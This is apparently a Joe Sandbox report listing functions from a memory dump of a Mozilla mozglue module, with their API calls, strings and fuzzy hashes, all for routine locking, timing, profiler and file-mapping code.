?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61DA2E
GetCurrentThreadId.KERNEL32 ref: 6C61DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C61DA91

Part of subcall function 6C5E5C50: GetTickCount64.KERNEL32 ref: 6C5E5D40
Part of subcall function 6C5E5C50: EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61DAB7

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: feafbcfe66c9cdc30399b21d6f603ebc0f1356ddf3a7a6e0586310f2326bd9f7
Instruction ID: 4f8b6a45c110b2b25ec07dbfd52b5484e8b20ccf2b8b08d1fe1a49e5d0a280b8
Opcode Fuzzy Hash: feafbcfe66c9cdc30399b21d6f603ebc0f1356ddf3a7a6e0586310f2326bd9f7
Instruction Fuzzy Hash: 1F71AC35604304DFCB00DF2AC884A9EBBF5FFC9358F158669E85A8B741DB30A845CB99

Function 6C61D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D52A
GetCurrentThreadId.KERNEL32 ref: 6C61D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D55F
free.MOZGLUE(00000000), ref: 6C61D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61D5D3
GetCurrentThreadId.KERNEL32 ref: 6C61D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D652
GetCurrentThreadId.KERNEL32 ref: 6C61D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D6A2

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 408c736796d5af5399390b406866ea81de60f15969e29f212671ad72d28c46a0
Instruction ID: 8d2fe75d66d01dfeed7b7ae8b3f36af0af5b59135096a1779a710b16ec93479f
Opcode Fuzzy Hash: 408c736796d5af5399390b406866ea81de60f15969e29f212671ad72d28c46a0
Instruction Fuzzy Hash: D5518D71608B05DFC704DF35C884A9ABBF5FF89358F10862EE85A87B10DB30A845CB99

Function 6C5C1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5C1EC1
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5C1EE1
EnterCriticalSection.KERNEL32(6C64E744), ref: 6C5C1F38
LeaveCriticalSection.KERNEL32(6C64E744), ref: 6C5C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5C1F83
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5C1FC0
EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5C1FE2
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C2019

Strings

Ddl, xrefs: 6C5C1F32
\dl, xrefs: 6C5C1F3E
MOZ_CRASH(), xrefs: 6C5C2000
Ddl, xrefs: 6C5C1F56

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Ddl$Ddl$MOZ_CRASH()$\dl
API String ID: 2055633661-3535199040
Opcode ID: b1dc7abf910dd4aed38db2e52fe3934edec706ad679f38a63fe922b0a1bc8a6e
Instruction ID: abff4b3e36cfad054f058416ebfda1b5298cfff436e17d65de2243563348e47a
Opcode Fuzzy Hash: b1dc7abf910dd4aed38db2e52fe3934edec706ad679f38a63fe922b0a1bc8a6e
Instruction Fuzzy Hash: E641C275B043158BDB00EFB9CC84BAE7AB5EB8A358F00C029E91597740D7709805CBDA

Function 6C5E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5E57BC
GetTickCount64.KERNEL32 ref: 6C5E58CB
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E58F3
__aulldiv.LIBCMT ref: 6C5E5945
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C64F638,?,?,?,?), ref: 6C5E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5E56CC

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c1477b2d90c6524a2bb61dda34fb2f455ce49293c74ad2e95a0b69beee0f0926
Instruction ID: ed6522c7c278d40a7eb7ff00bce1c29744eb3e05236ffaa377728bf990497998
Opcode Fuzzy Hash: c1477b2d90c6524a2bb61dda34fb2f455ce49293c74ad2e95a0b69beee0f0926
Instruction Fuzzy Hash: 00C18C31A093509FD705DF29C88066ABBF1FFCA758F45CA1DE8C897661D730A885CB86

Function 6C60EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60EC8C

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60ECA1
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C60ECC5
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C60ED19
CloseHandle.KERNEL32(?), ref: 6C60ED28
free.MOZGLUE(00000000), ref: 6C60ED2F
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C60EC94

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction ID: 660f78cd5691f4a94064f3ba340cac28532e0e0ccb9f7d51e6442462070bb79c
Opcode Fuzzy Hash: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction Fuzzy Hash: 2821D375700514ABDB04AF26D944AAE7779EF8636CF10C210FD18A7781DB719806CBAE

Function 6C608ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C60B392,?,?,00000001), ref: 6C6091F4

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

Strings

data, xrefs: 6C6090E8
timeline-ipc, xrefs: 6C609096
marker-chart, xrefs: 6C60905E
timeline-fileio, xrefs: 6C6090A4
stack-chart, xrefs: 6C6090B2
marker-table, xrefs: 6C60906C
timeline-overview, xrefs: 6C60907A
name, xrefs: 6C608F16
timeline-memory, xrefs: 6C609088

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: efe7cb1cb754f2415e859944c38ca58ac3ffb61abbda55d6f2087efee2d719e9
Instruction ID: 806c378f4c62dc2c7c52e9aa2cefb83faa9fe78a47a15f069748f067a428d5d7
Opcode Fuzzy Hash: efe7cb1cb754f2415e859944c38ca58ac3ffb61abbda55d6f2087efee2d719e9
Instruction Fuzzy Hash: 80B1B5B0B11219DBDB08CF98C9967EEBBB6AF84308F109019D405ABF80D771AD45CBD9

Function 6C5EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ECAA5

Strings

0, xrefs: 6C5ED30A
(null), xrefs: 6C5EC596

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 84f4dfa2ba1ed5edcd589cf3f580ef308c00870a7253d9f633983a5d5a0db6bf
Instruction ID: 23c90888c69aff3a10da8954314ce53970740d8f6ae9ba1125b9059873129b24
Opcode Fuzzy Hash: 84f4dfa2ba1ed5edcd589cf3f580ef308c00870a7253d9f633983a5d5a0db6bf
Instruction Fuzzy Hash: ADA189306083429FDB10EF29C994B5BBBE5AFCD748F14892DE89A97741D731E805CB86

Function 6C5EC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5EC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5EC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5EC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5EC891

Strings

NAN, xrefs: 6C5EC7AD
INF, xrefs: 6C5EC794
inf, xrefs: 6C5EC78F
nan, xrefs: 6C5EC7A8

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 459a0db2f65dde398963eaa20c12adc4b9b9d747662cf646905e8ddd010682f4
Instruction ID: b7dc09d7b8c623cbd317286b720b5ff7a89419ad4a6dd51d961c1609f8e9ab9a
Opcode Fuzzy Hash: 459a0db2f65dde398963eaa20c12adc4b9b9d747662cf646905e8ddd010682f4
Instruction Fuzzy Hash: 92518270A087408BD704EF6CC98169AFBF0BF9E308F009A2DE9D597650E771E9848B43

Function 6C5C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5C350E
__Init_thread_footer.LIBCMT ref: 6C5C3522
__aulldiv.LIBCMT ref: 6C5C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C3592

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C5C3508
kernel32.dll, xrefs: 6C5C34EA

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 103f7e3cbf6cc1c801bfb172f8485adbbc082ae7cd87339741272227dd20a528
Instruction ID: 15bf4787394a51c8d634e7345ae0f2ba64464c8f4ff12c99b794cebdfd97a1b4
Opcode Fuzzy Hash: 103f7e3cbf6cc1c801bfb172f8485adbbc082ae7cd87339741272227dd20a528
Instruction Fuzzy Hash: 7D319375B002499BDF04EFBACC88EAE77B5FB86309F10C419E515A3650EB70A905CF66

Function 6C5C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C604843,?), ref: 6C5C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C604843,?), ref: 6C5C468A
free.MOZGLUE(?,?,?,?,?,?,6C604843,?), ref: 6C5C46C9
free.MOZGLUE(?), ref: 6C5C46EF
free.MOZGLUE(?), ref: 6C5C4712
free.MOZGLUE(?), ref: 6C5C4735
free.MOZGLUE(?), ref: 6C5C4758
free.MOZGLUE(?), ref: 6C5C477B
free.MOZGLUE(?), ref: 6C5C479E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 64c49cc0a9088f3c1bad03ec42a1d0caf4abf7378532fbf5fbd5944e66d7942c
Instruction ID: 9e8577b9d8768de45ec16bd8bd2f5d8f5310f6918295dba1e4282b946527d9e1
Opcode Fuzzy Hash: 64c49cc0a9088f3c1bad03ec42a1d0caf4abf7378532fbf5fbd5944e66d7942c
Instruction Fuzzy Hash: 91B1E371B001518FDB18CEACCCD0B7D76B2AF85328F18466DE816DBBC6E73498408B82

Function 6C62AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C62AC52
CreateFileMappingW.KERNEL32 ref: 6C62AC7D
GetSystemInfo.KERNEL32 ref: 6C62AC98
MapViewOfFile.KERNEL32 ref: 6C62ACB0
GetSystemInfo.KERNEL32 ref: 6C62ACCD
MapViewOfFile.KERNEL32 ref: 6C62AD05
UnmapViewOfFile.KERNEL32 ref: 6C62AD1C
CloseHandle.KERNEL32 ref: 6C62AD28
UnmapViewOfFile.KERNEL32 ref: 6C62AD37
CloseHandle.KERNEL32 ref: 6C62AD43
CloseHandle.KERNEL32 ref: 6C62AD67

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction ID: e56948ba5a78a12f7c6d10205341decc59dc553b84023f2c8cdc0697a498d8e0
Opcode Fuzzy Hash: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction Fuzzy Hash: 78314FB19047058FDB00BF7DD68866EBBF0BF85305F018929E99986211EB749449CB96

Function 6C5D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5D9675
__Init_thread_footer.LIBCMT ref: 6C5D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5D9707
__Init_thread_footer.LIBCMT ref: 6C5D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9773

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5D97B7
FreeLibrary.KERNEL32 ref: 6C5D97D0
FreeLibrary.KERNEL32 ref: 6C5D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9824

Strings

MapViewOfFileNuma2, xrefs: 6C5D97B1
NtMapViewOfSection, xrefs: 6C5D9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5D9670
ntdll.dll, xrefs: 6C5D96E3

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 5150de3acbf14ca25b4f3d4c81f1b707b75d6319122d55ebfa2a3df498adccc0
Instruction ID: 8054ef1ee829ec84192c0220e502b99ae6b98c0343f3a0d89c7cc059adb91ae8
Opcode Fuzzy Hash: 5150de3acbf14ca25b4f3d4c81f1b707b75d6319122d55ebfa2a3df498adccc0
Instruction Fuzzy Hash: A941A375600305DBDF00EFAAEDE4A967BB4EB8A358F01C124ED1597740D734A805CFAA

Function 6C610000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C610039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C610041
GetCurrentThreadId.KERNEL32 ref: 6C610075
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C610082
moz_xmalloc.MOZGLUE(00000048), ref: 6C610090
free.MOZGLUE(?), ref: 6C610104
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C61011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C61005B

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
